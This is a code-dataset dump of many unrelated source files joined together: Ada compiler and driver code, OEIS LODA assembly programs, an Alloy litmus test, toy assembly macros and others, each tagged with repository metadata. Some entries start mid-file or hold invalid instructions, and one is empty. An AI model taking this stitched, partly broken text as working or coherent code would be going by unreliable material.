Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List ( Make_Simple_Return_Statement (Loc, Expression => Expr)))); -- No reference to V and function not requested, so create a constant else Decl := Make_Object_Declaration (Loc, Defining_Identifier => K, Object_Definition => New_Occurrence_Of (Standard_Unsigned, Loc), Constant_Present => True, Expression => Expr); end if; Append_Freeze_Action (Ins_Type, Decl); Analyze (Decl); return Create_Dynamic_SO_Ref (K); end SO_Ref_From_Expr; end Layout;
test/test.asm
abhilb/puttum-kadalayum
0
246467
<reponame>abhilb/puttum-kadalayum<gh_stars>0 mov ax,bx add bx sub cx mov ad movt adsf mov da
regtests/babel-streams-tests.adb
stcarrez/babel
1
2036
<filename>regtests/babel-streams-tests.adb ----------------------------------------------------------------------- -- babel-streams-tests - Unit tests for babel streams -- Copyright (C) 2015, 2016 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Test_Caller; with Babel.Files.Buffers; with Babel.Streams.Cached; with Babel.Streams.Files; with Babel.Streams.XZ; package body Babel.Streams.Tests is package Caller is new Util.Test_Caller (Test, "Streams"); procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is begin Caller.Add_Test (Suite, "Test Babel.Streams.Read", Test_Stream_Composition'Access); end Add_Tests; -- ------------------------------ -- Stream copy, compression and decompression test. -- Create a compressed version of the source file and then decompress the result. -- The source file is then compared to the decompressed result and must match. -- ------------------------------ procedure Do_Copy (T : in out Test; Pool : in out Babel.Files.Buffers.Buffer_Pool; Src : in String) is use type Babel.Files.Buffers.Buffer_Access; Src_Path : constant String := Util.Tests.Get_Path (Src); Dst_Path : constant String := Util.Tests.Get_Test_Path ("regtests/result/" & Src & ".xz"); Tst_Path : constant String := Util.Tests.Get_Test_Path ("regtests/result/" & Src); Buffer : Babel.Files.Buffers.Buffer_Access; begin -- Compress the 'configure' file into 'configure.xz' through the file+cache+xz+file streams. declare In_File : aliased Babel.Streams.Files.Stream_Type; Out_File : aliased Babel.Streams.Files.Stream_Type; Cache : aliased Babel.Streams.Cached.Stream_Type; Lz : aliased Babel.Streams.XZ.Stream_Type; begin Pool.Get_Buffer (Buffer); In_File.Open (Src_Path, Buffer); Cache.Load (In_File, Pool); Pool.Get_Buffer (Buffer); Out_File.Create (Dst_Path, 8#644#); Lz.Set_Buffer (Buffer); Lz.Set_Output (Out_File'Unchecked_Access); loop Cache.Read (Buffer); exit when Buffer = null; Lz.Write (Buffer); end loop; Lz.Flush; Lz.Close; lz.Finalize; Cache.Finalize; In_File.Finalize; Out_File.Finalize; end; -- Decompress through file+cache+xz+file declare In_File : aliased Babel.Streams.Files.Stream_Type; Out_File : aliased Babel.Streams.Files.Stream_Type; Cache : aliased Babel.Streams.Cached.Stream_Type; Lz : aliased Babel.Streams.XZ.Stream_Type; begin Pool.Get_Buffer (Buffer); In_File.Open (Dst_Path, Buffer); Cache.Load (In_File, Pool); -- Setup decompression. Pool.Get_Buffer (Buffer); Lz.Set_Input (Cache'Unchecked_Access); Lz.Set_Buffer (Buffer); Out_File.Create (Tst_Path, 8#644#); loop Lz.Read (Buffer); exit when Buffer = null; Out_File.Write (Buffer); end loop; Out_File.Close; lz.Finalize; Cache.Finalize; In_File.Finalize; Out_File.Finalize; end; Util.Tests.Assert_Equal_Files (T, Src_Path, Tst_Path, "Composition stream failed for: " & Src); end Do_Copy; -- ------------------------------ -- Test the Find function resolving some existing user. -- ------------------------------ procedure Test_Stream_Composition (T : in out Test) is Pool : aliased Babel.Files.Buffers.Buffer_Pool; begin Pool.Create_Pool (Size => 1_000, Count => 1000); Do_Copy (T, Pool, "configure"); Do_Copy (T, Pool, "babel.gpr"); Do_Copy (T, Pool, "configure.in"); Do_Copy (T, Pool, "config.guess"); Do_Copy (T, Pool, "Makefile.in"); end Test_Stream_Composition; end Babel.Streams.Tests;
oeis/310/A310458.asm
neoneye/loda-programs
11
25898
<reponame>neoneye/loda-programs ; A310458: Coordination sequence Gal.4.78.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by <NAME> ; 1,4,10,15,20,25,30,36,40,44,50,55,60,65,70,76,80,84,90,95,100,105,110,116,120,124,130,135,140,145,150,156,160,164,170,175,180,185,190,196,200,204,210,215,220,225,230,236,240,244 mov $1,$0 dif $0,2 seq $1,315411 ; Coordination sequence Gal.4.78.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $0,7 sub $0,1 mod $0,$1 mul $2,3 add $0,$2 add $0,1
lib/test/sources/swap.asm
MircoT/js-pdp8
12
85811
ORG 400 LDA 409 CMA STA 409 LDA 40A STA 40C LDA 40B STA 40A LDA 40C STA 40B AND FFE I 9FC6 00AB FFFF END
programs/oeis/168/A168116.asm
neoneye/loda
22
244019
; A168116: a(n) = n*(n^8+1)/2. ; 0,1,257,9843,131074,976565,5038851,20176807,67108868,193710249,500000005,1178973851,2579890182,5302249693,10330523399,19221679695,34359738376,59293938257,99179645193,161343848899,256000000010,397140023301,603634608907,900576330743,1320903770124,1907348632825,2714751839501,3812798742507,5289227976718,7253572987949,9841500000015,13219811080351,17592186044432,23205742200993,30358496383249,39407819335955,50779978334226,64980869897557,82608050631443,104364180579399,131072000000020,163690967197001,203335691924757,251296305968443,309060919754774,378340321289085,461095081334551,559565236551407,676302730297368,814206798955249,976562500000025,1167082586545251,1389952941817882,1649881795901093,1952152956156699,2302683291992215,2708084724072476,3175730977692057,3713829369822493,4331497909327499,5038848000000030,5847073046417101,6768543273131807,7816907078426943,9007199254741024,10355956418945345,11881340006900001,13603267198147507,15543550148214818,17726043917788149,20176803500000035,22924250359224551,25999348907114532,29435793354133993,33270205387539749,37542343139648475,42295321923289126,47575847224585757,53434460456642343,59925797991309199,67108864000000040,75047317648499601,83809775204854057,93470127633770243,104107874265464874,115808473141601605,128663708655831851,142772077121514807,158239190914433068,175178201853742649,193710244500000045,213964900064894251,236080681643278382,260205541494243693,286497401114308399,315124704862304735,346266997912240176,380115529327282657,416873881065074993,456758623741820499 mov $1,$0 pow $1,9 add $0,$1 div $0,2
ADL/drivers/stm32h743/stm32-dma2d.adb
JCGobbi/Nucleo-STM32H743ZI
0
17764
------------------------------------------------------------------------------ -- -- -- Copyright (C) 2015-2016, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- with STM32.RCC; use STM32.RCC; with STM32_SVD.DMA2D; use STM32_SVD.DMA2D; with STM32_SVD.RCC; use STM32_SVD.RCC; package body STM32.DMA2D is use type System.Address; function To_Word is new Ada.Unchecked_Conversion (System.Address, UInt32); function Offset (Buffer : DMA2D_Buffer; X, Y : Integer) return UInt32 with Inline_Always; DMA2D_Init_Transfer_Int : DMA2D_Sync_Procedure := null; DMA2D_Wait_Transfer_Int : DMA2D_Sync_Procedure := null; ------------------ -- DMA2D_DeInit -- ------------------ procedure DMA2D_DeInit is begin RCC_Periph.AHB3ENR.DMA2DEN := False; DMA2D_Init_Transfer_Int := null; DMA2D_Wait_Transfer_Int := null; end DMA2D_DeInit; ---------------- -- DMA2D_Init -- ---------------- procedure DMA2D_Init (Init : DMA2D_Sync_Procedure; Wait : DMA2D_Sync_Procedure) is begin if DMA2D_Init_Transfer_Int = Init then return; end if; DMA2D_DeInit; DMA2D_Init_Transfer_Int := Init; DMA2D_Wait_Transfer_Int := Wait; RCC_Periph.AHB3ENR.DMA2DEN := True; RCC_Periph.AHB3RSTR.DMA2DRST := True; RCC_Periph.AHB3RSTR.DMA2DRST := False; end DMA2D_Init; ------------ -- Offset -- ------------ function Offset (Buffer : DMA2D_Buffer; X, Y : Integer) return UInt32 is Off : constant UInt32 := UInt32 (X + Buffer.Width * Y); begin case Buffer.Color_Mode is when ARGB8888 => return 4 * Off; when RGB888 => return 3 * Off; when ARGB1555 | ARGB4444 | RGB565 | AL88 => return 2 * Off; when L8 | AL44 | A8 => return Off; when L4 | A4 => return Off / 2; end case; end Offset; ---------------- -- DMA2D_Fill -- ---------------- procedure DMA2D_Fill (Buffer : DMA2D_Buffer; Color : UInt32; Synchronous : Boolean := False) is function Conv is new Ada.Unchecked_Conversion (UInt32, OCOLR_Register); begin DMA2D_Wait_Transfer_Int.all; DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (R2M); DMA2D_Periph.OPFCCR.CM := As_UInt3 (Buffer.Color_Mode); DMA2D_Periph.OCOLR := Conv (Color); DMA2D_Periph.OMAR := To_Word (Buffer.Addr); DMA2D_Periph.OOR := (LO => 0, others => <>); DMA2D_Periph.NLR := (NL => UInt16 (Buffer.Height), PL => UInt14 (Buffer.Width), others => <>); DMA2D_Init_Transfer_Int.all; if Synchronous then DMA2D_Wait_Transfer_Int.all; end if; end DMA2D_Fill; --------------------- -- DMA2D_Fill_Rect -- --------------------- procedure DMA2D_Fill_Rect (Buffer : DMA2D_Buffer; Color : UInt32; X : Integer; Y : Integer; Width : Integer; Height : Integer; Synchronous : Boolean := False) is function Conv is new Ada.Unchecked_Conversion (UInt32, OCOLR_Register); Off : constant UInt32 := Offset (Buffer, X, Y); begin DMA2D_Wait_Transfer_Int.all; DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (R2M); DMA2D_Periph.OPFCCR := (CM => DMA2D_Color_Mode'Enum_Rep (Buffer.Color_Mode), others => <>); DMA2D_Periph.OCOLR := Conv (Color); DMA2D_Periph.OMAR := To_Word (Buffer.Addr) + Off; DMA2D_Periph.OOR.LO := UInt14 (Buffer.Width - Width); DMA2D_Periph.NLR := (NL => UInt16 (Height), PL => UInt14 (Width), others => <>); DMA2D_Init_Transfer_Int.all; if Synchronous then DMA2D_Wait_Transfer_Int.all; end if; end DMA2D_Fill_Rect; --------------------- -- DMA2D_Draw_Rect -- --------------------- procedure DMA2D_Draw_Rect (Buffer : DMA2D_Buffer; Color : UInt32; X : Integer; Y : Integer; Width : Integer; Height : Integer) is begin DMA2D_Draw_Horizontal_Line (Buffer, Color, X, Y, Width); DMA2D_Draw_Horizontal_Line (Buffer, Color, X, Y + Height - 1, Width); DMA2D_Draw_Vertical_Line (Buffer, Color, X, Y, Height); DMA2D_Draw_Vertical_Line (Buffer, Color, X + Width - 1, Y, Height, True); end DMA2D_Draw_Rect; --------------------- -- DMA2D_Copy_Rect -- --------------------- procedure DMA2D_Copy_Rect (Src_Buffer : DMA2D_Buffer; X_Src : Natural; Y_Src : Natural; Dst_Buffer : DMA2D_Buffer; X_Dst : Natural; Y_Dst : Natural; Bg_Buffer : DMA2D_Buffer; X_Bg : Natural; Y_Bg : Natural; Width : Natural; Height : Natural; Synchronous : Boolean := False) is Src_Off : constant UInt32 := Offset (Src_Buffer, X_Src, Y_Src); Dst_Off : constant UInt32 := Offset (Dst_Buffer, X_Dst, Y_Dst); begin DMA2D_Wait_Transfer_Int.all; if Bg_Buffer /= Null_Buffer then -- PFC and blending DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (M2M_BLEND); elsif Src_Buffer.Color_Mode = Dst_Buffer.Color_Mode then -- Direct memory transfer DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (M2M); else DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (M2M_PFC); end if; -- SOURCE CONFIGURATION DMA2D_Periph.FGPFCCR := (CM => DMA2D_Color_Mode'Enum_Rep (Src_Buffer.Color_Mode), AM => DMA2D_AM'Enum_Rep (NO_MODIF), ALPHA => 255, others => <>); if Src_Buffer.Color_Mode = L8 or else Src_Buffer.Color_Mode = L4 then if Src_Buffer.CLUT_Addr = System.Null_Address then raise Program_Error with "Source CLUT address required"; end if; DMA2D_Periph.FGCMAR := To_Word (Src_Buffer.CLUT_Addr); DMA2D_Periph.FGCMAR := To_Word (Src_Buffer.CLUT_Addr); DMA2D_Periph.FGPFCCR.CS := (case Src_Buffer.Color_Mode is when L8 => 2**8 - 1, when L4 => 2**4 - 1, when others => 0); -- Set CLUT mode to RGB888 DMA2D_Periph.FGPFCCR.CCM := Src_Buffer.CLUT_Color_Mode = RGB888; -- Start loading the CLUT DMA2D_Periph.FGPFCCR.START := True; while DMA2D_Periph.FGPFCCR.START loop -- Wait for CLUT loading... null; end loop; end if; DMA2D_Periph.FGOR := (LO => UInt14 (Src_Buffer.Width - Width), others => <>); DMA2D_Periph.FGMAR := To_Word (Src_Buffer.Addr) + Src_Off; if Bg_Buffer /= Null_Buffer then declare Bg_Off : constant UInt32 := Offset (Bg_Buffer, X_Bg, Y_Bg); begin DMA2D_Periph.BGPFCCR.CM := DMA2D_Color_Mode'Enum_Rep (Bg_Buffer.Color_Mode); DMA2D_Periph.BGMAR := To_Word (Bg_Buffer.Addr) + Bg_Off; DMA2D_Periph.BGPFCCR.CS := 0; DMA2D_Periph.BGPFCCR.START := False; DMA2D_Periph.BGOR := (LO => UInt14 (Bg_Buffer.Width - Width), others => <>); if Bg_Buffer.Color_Mode = L8 or else Bg_Buffer.Color_Mode = L4 then if Bg_Buffer.CLUT_Addr = System.Null_Address then raise Program_Error with "Background CLUT address required"; end if; DMA2D_Periph.BGCMAR := To_Word (Bg_Buffer.CLUT_Addr); DMA2D_Periph.BGPFCCR.CS := (case Bg_Buffer.Color_Mode is when L8 => 2**8 - 1, when L4 => 2**4 - 1, when others => 0); -- Set CLUT mode to RGB888 DMA2D_Periph.BGPFCCR.CCM := Bg_Buffer.CLUT_Color_Mode = RGB888; -- Start loading the CLUT DMA2D_Periph.BGPFCCR.START := True; while DMA2D_Periph.BGPFCCR.START loop -- Wait for CLUT loading... null; end loop; end if; end; end if; -- DST CONFIGURATION DMA2D_Periph.OPFCCR.CM := DMA2D_Color_Mode'Enum_Rep (Dst_Buffer.Color_Mode); DMA2D_Periph.OMAR := To_Word (Dst_Buffer.Addr) + Dst_Off; DMA2D_Periph.OOR := (LO => UInt14 (Dst_Buffer.Width - Width), others => <>); DMA2D_Periph.NLR := (NL => UInt16 (Height), PL => UInt14 (Width), others => <>); DMA2D_Init_Transfer_Int.all; if Synchronous then DMA2D_Wait_Transfer_Int.all; end if; end DMA2D_Copy_Rect; ------------------------------ -- DMA2D_Draw_Vertical_Line -- ------------------------------ procedure DMA2D_Draw_Vertical_Line (Buffer : DMA2D_Buffer; Color : UInt32; X : Integer; Y : Integer; Height : Integer; Synchronous : Boolean := False) is NY, NH : Integer; begin if Y >= Buffer.Height or else X not in 0 .. Buffer.Width - 1 then return; end if; if Y < 0 then NY := 0; NH := Height + Y; else NY := Y; NH := Height; end if; NH := Integer'Min (NH, Buffer.Height - NY - 1); DMA2D_Fill_Rect (Buffer, Color, X, NY, 1, NH, Synchronous); end DMA2D_Draw_Vertical_Line; -------------------------------- -- DMA2D_Draw_Horizontal_Line -- -------------------------------- procedure DMA2D_Draw_Horizontal_Line (Buffer : DMA2D_Buffer; Color : UInt32; X : Integer; Y : Integer; Width : Integer; Synchronous : Boolean := False) is NX, NW : Integer; begin if X >= Buffer.Width or else Y not in 0 .. Buffer.Height - 1 then return; end if; if X < 0 then NX := 0; NW := Width + X; else NX := X; NW := Width; end if; NW := Integer'Min (NW, Buffer.Width - NX - 1); DMA2D_Fill_Rect (Buffer, Color, NX, Y, NW, 1, Synchronous); end DMA2D_Draw_Horizontal_Line; --------------------- -- DMA2D_Set_Pixel -- --------------------- procedure DMA2D_Set_Pixel (Buffer : DMA2D_Buffer; X, Y : Integer; Color : UInt32; Synchronous : Boolean := False) is function Conv is new Ada.Unchecked_Conversion (UInt32, OCOLR_Register); Off : constant UInt32 := Offset (Buffer, X, Y); Dead : Boolean := False with Unreferenced; begin if X < 0 or else Y < 0 or else X >= Buffer.Width or else Y >= Buffer.Height then return; end if; DMA2D_Wait_Transfer_Int.all; DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (R2M); DMA2D_Periph.OPFCCR.CM := As_UInt3 (Buffer.Color_Mode); DMA2D_Periph.OCOLR := Conv (Color); DMA2D_Periph.OMAR := To_Word (Buffer.Addr) + Off; DMA2D_Periph.OOR := (LO => 1, others => <>); DMA2D_Periph.NLR := (NL => 1, PL => 1, others => <>); DMA2D_Init_Transfer_Int.all; if Synchronous then DMA2D_Wait_Transfer_Int.all; end if; end DMA2D_Set_Pixel; --------------------------- -- DMA2D_Set_Pixel_Blend -- --------------------------- procedure DMA2D_Set_Pixel_Blend (Buffer : DMA2D_Buffer; X, Y : Integer; Color : DMA2D_Color; Synchronous : Boolean := False) is Off : constant UInt32 := Offset (Buffer, X, Y); Dead : Boolean := False with Unreferenced; begin if X < 0 or else Y < 0 or else X >= Buffer.Width or else Y >= Buffer.Height then return; end if; DMA2D_Wait_Transfer_Int.all; -- PFC and blending DMA2D_Periph.CR.MODE := DMA2D_MODE'Enum_Rep (M2M_BLEND); -- SOURCE CONFIGURATION DMA2D_Periph.FGPFCCR.CM := ARGB8888'Enum_Rep; DMA2D_Periph.FGMAR := To_Word (Color'Address); DMA2D_Periph.FGPFCCR.AM := DMA2D_AM'Enum_Rep (NO_MODIF); DMA2D_Periph.FGPFCCR.ALPHA := 255; DMA2D_Periph.FGPFCCR.CS := 0; DMA2D_Periph.FGPFCCR.START := False; DMA2D_Periph.FGOR := (LO => 0, others => <>); DMA2D_Periph.FGPFCCR.CCM := False; -- Disable CLUT color mode -- Setup the Background buffer to the destination buffer DMA2D_Periph.BGPFCCR.CM := DMA2D_Color_Mode'Enum_Rep (Buffer.Color_Mode); DMA2D_Periph.BGMAR := To_Word (Buffer.Addr) + Off; DMA2D_Periph.BGPFCCR.CS := 0; DMA2D_Periph.BGPFCCR.START := False; DMA2D_Periph.BGOR := (LO => UInt14 (Buffer.Width - 1), others => <>); DMA2D_Periph.BGPFCCR.CCM := False; -- Disable CLUT color mode -- DST CONFIGURATION DMA2D_Periph.OPFCCR.CM := DMA2D_Color_Mode'Enum_Rep (Buffer.Color_Mode); DMA2D_Periph.OMAR := To_Word (Buffer.Addr) + Off; DMA2D_Periph.OOR := (LO => UInt14 (Buffer.Width - 1), others => <>); DMA2D_Periph.NLR := (NL => 1, PL => 1, others => <>); DMA2D_Init_Transfer_Int.all; if Synchronous then DMA2D_Wait_Transfer_Int.all; end if; end DMA2D_Set_Pixel_Blend; ------------------------- -- DMA2D_Wait_Transfer -- ------------------------- procedure DMA2D_Wait_Transfer is begin DMA2D_Wait_Transfer_Int.all; end DMA2D_Wait_Transfer; end STM32.DMA2D;
llvm-gcc-4.2-2.9/gcc/ada/s-io.adb
vidkidz/crossbridge
1
13863
<filename>llvm-gcc-4.2-2.9/gcc/ada/s-io.adb ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- S Y S T E M . I O -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2006, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body System.IO is Current_Out : File_Type := Stdout; pragma Atomic (Current_Out); -- Current output file (modified by Set_Output) -------------- -- New_Line -- -------------- procedure New_Line (Spacing : Positive := 1) is begin for J in 1 .. Spacing loop Put (ASCII.LF); end loop; end New_Line; --------- -- Put -- --------- procedure Put (X : Integer) is procedure Put_Int (X : Integer); pragma Import (C, Put_Int, "put_int"); procedure Put_Int_Err (X : Integer); pragma Import (C, Put_Int_Err, "put_int_stderr"); begin case Current_Out is when Stdout => Put_Int (X); when Stderr => Put_Int_Err (X); end case; end Put; procedure Put (C : Character) is procedure Put_Char (C : Character); pragma Import (C, Put_Char, "put_char"); procedure Put_Char_Stderr (C : Character); pragma Import (C, Put_Char_Stderr, "put_char_stderr"); begin case Current_Out is when Stdout => Put_Char (C); when Stderr => Put_Char_Stderr (C); end case; end Put; procedure Put (S : String) is begin for J in S'Range loop Put (S (J)); end loop; end Put; -------------- -- Put_Line -- -------------- procedure Put_Line (S : String) is begin Put (S); New_Line; end Put_Line; --------------------- -- Standard_Output -- --------------------- function Standard_Output return File_Type is begin return Stdout; end Standard_Output; -------------------- -- Standard_Error -- -------------------- function Standard_Error return File_Type is begin return Stderr; end Standard_Error; ---------------- -- Set_Output -- ---------------- procedure Set_Output (File : File_Type) is begin Current_Out := File; end Set_Output; end System.IO;
case-studies/performance/verification/alloy/ppc/tests/podwr001.als
uwplse/memsynth
19
3792
module tests/podwr001 open program open model /** PPC podwr001 "Fre PodWR Fre PodWR Fre PodWR" Cycle=Fre PodWR Fre PodWR Fre PodWR Relax=PodWR Safe=Fre { 0:r2=z; 0:r4=x; 1:r2=x; 1:r4=y; 2:r2=y; 2:r4=z; } P0 | P1 | P2 ; li r1,1 | li r1,1 | li r1,1 ; stw r1,0(r2) | stw r1,0(r2) | stw r1,0(r2) ; lwz r3,0(r4) | lwz r3,0(r4) | lwz r3,0(r4) ; exists (0:r3=0 /\ 1:r3=0 /\ 2:r3=0) **/ one sig x, y, z extends Location {} one sig P1, P2, P3 extends Processor {} one sig op1 extends Write {} one sig op2 extends Read {} one sig op3 extends Write {} one sig op4 extends Read {} one sig op5 extends Write {} one sig op6 extends Read {} fact { P1.write[1, op1, z, 1] P1.read[2, op2, x, 0] P2.write[3, op3, x, 1] P2.read[4, op4, y, 0] P3.write[5, op5, y, 1] P3.read[6, op6, z, 0] } Allowed: run { Allowed_PPC } for 4 int expect 1
source/nodes/program-nodes-identifiers-set_defining_name.ads
reznikmm/gela
0
22079
-- SPDX-FileCopyrightText: 2020-2021 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- procedure Program.Nodes.Identifiers.Set_Defining_Name (Self : not null Program.Elements.Identifiers.Identifier_Access; Value : Program.Elements.Defining_Identifiers.Defining_Identifier_Access); pragma Preelaborate (Program.Nodes.Identifiers.Set_Defining_Name);
Assembler/AssemblyCode/LowLevel/CALL_MACRO.asm
KPU-RISC/KPU
8
96671
<reponame>KPU-RISC/KPU ; Initialize the stack pointer MOV8 XL, "11111111" MOV8 XH, "11111111" MOV16 SP, X ; ----------------------------- ; Begin CALL implementation... ; ----------------------------- ; 1. Store the current PC in the J register and fix it ; to point to the address *after* the JMP instruction. ; The implementation of the CALL micro code takes 115 - 25 = 90 instructions. ; We have to subtract 25, because there are 25 instructions before we read ; the PC into the register X for the addition ; But we only add 89d (01011001b) to the current PC, because when we finally ; POP the PC during the RET opcode, the PC will be incremented to ; point to the next (correct) instruction. ; 1.1. Set the value of the register XL to "01011001" ; 12 bytes long SET A, "0101" SET B, "1001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 1.2. Set the value of the register XH to "00000000" ; 12 bytes long SET A, "0000" SET B, "0000" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 1.3. Add the bytes to the value in the register PC ; 3 bytes long MOV16 J, X MOV16 X, PC 16BIT_ADDER ; 2. Push the 1st 8 bit of the PC onto the stack ; 3 bytes long MOV16 M, SP STORE XL MOV16 M, X ; 3. Decrement the stack pointer by 1 ; 3.1. Set the value of the register XL to "11111111" ; 12 bytes long SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 3.2. Set the value of the register XH to "11111111" ; 12 bytes long SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 3.3. Decrement the stack pointer ; 4 bytes long MOV16 J, X MOV16 X, SP 16BIT_ADDER MOV16 SP, X ; 4. Push the 2nd 8 bit of the PC onto the stack ; 3 bytes long MOV16 X, M MOV16 M, SP STORE XH ; 5. Decrement the stack pointer by 1 ; 5.1. Set the value of the register XL to "11111111" ; 12 bytes long SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 5.2. Set the value of the register XH to "11111111" ; 12 bytes long SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 5.3. Decrement the stack pointer ; 4 bytes long MOV16 J, X MOV16 X, SP 16BIT_ADDER MOV16 SP, X ; 6. Perform the actual jump to the subroutine ; 26 bytes long SET A, "1111":SUBROUTINE_LN2 SET B, "1111":SUBROUTINE_LN1 SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL SET A, "1111":SUBROUTINE_HN2 SET B, "1111":SUBROUTINE_HN1 SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH MOV16 J, X CALL_JMP :SUBROUTINE ; ----------------------------- ; End CALL implementation... ; ----------------------------- ; Stops program execution HLT :SUBROUTINE POP D POP E HLT
tests/t15.asm
mras0/sasm
26
6711
<gh_stars>10-100 org 256 xchg bx, [dat] xchg [dat], dx mov cx, 0 rep movsb rep movsw ret dat: dw 0 dw 'AB', 'XY'
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_f_opendir_fastcall.asm
jpoikela/z88dk
640
160804
; unsigned char esx_f_opendir(unsigned char *dirname) SECTION code_esxdos PUBLIC _esx_f_opendir_fastcall EXTERN asm_esx_f_opendir _esx_f_opendir_fastcall: push iy call asm_esx_f_opendir pop iy ret
m3-sys/m3gdb/gdb/gdb/testsuite/gdb.ada/array_return/p.adb
jaykrell/cm3
105
29233
<reponame>jaykrell/cm3<filename>m3-sys/m3gdb/gdb/gdb/testsuite/gdb.ada/array_return/p.adb<gh_stars>100-1000 with Pck; use Pck; procedure P is Small : Data_Small; Large : Data_Large; begin Small := Create_Small; Large := Create_Large; Small (1) := Large (1); end P;
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1808.asm
ljhsiun2/medusa
9
11253
